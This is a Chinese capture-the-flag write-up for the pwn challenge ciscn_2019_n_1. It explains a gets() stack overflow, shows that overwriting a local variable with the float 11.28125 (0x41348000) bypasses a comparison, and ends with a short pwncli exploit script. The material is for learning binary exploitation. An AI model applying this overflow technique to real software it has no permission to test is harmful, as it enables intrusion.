3-ciscn_2019_n_1

ciscn_2019_n_1

题目链接

https://buuoj.cn/challenges#ciscn_2019_n_1

检查保护

image

运行

image

IDA分析

main

image

fun()

此处的gets()存在栈溢出

image

HEX 11.28125

image

栈—v1、v2

image

思路

  • 通过gets()覆盖栈上v2变量的值为11.28125的16进制,绕过if对v2的值的验证即可

注意

  • v2的值为11.28125的16进制,即41348000

补充

汇编:比较操作

指令 基于 描述
ucomiss S1,S2 S2-S1 比较单精度值
ucomisd S1,S2 S2-S1 比较双精度值

注意:参数S2必须在XMM寄存器中,而S1可以在XMM寄存器中,也可以在内存中。

例如,此处的汇编可以看到对于v2值的判断
image

变量类型 存储大小
db 一字节
dw 两字节
dd 四字节
df 六字节
dq 八字节

EXP

#!/usr/bin/env python3
from pwncli import *
from libcfind import *

cli_script()  # 使用脚本模式必须显式调用这个函数

# 你能够从gift里面取到很多东西
io = gift['io']  # process或remote对象
elf = gift["elf"]  # ELF对象,ELF("./pwn")
libc = gift.libc  # ELF对象, ELF("./libc.so.6")

filename = gift.filename  # current filename
is_debug = gift.debug  # is debug or not
is_remote = gift.remote  # is remote or not
gdb_pid = gift.gdb_pid  # gdb pid if debug

# 有时候远程提供的libc与本地不一样,打靶机时替换libc为远程libc
if gift.remote:
    libc = ELF(
        "./home/wxp/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
    gift['libc'] = libc

# 这里写下攻击函数等

pd = 0X2C*b'a'+p64(0x41348000)

sla('number.',pd)

io.interactive()  # 与socket保持交互
posted @ 2023-03-08 11:15  MSTLE  阅读(64)  评论(2)    收藏  举报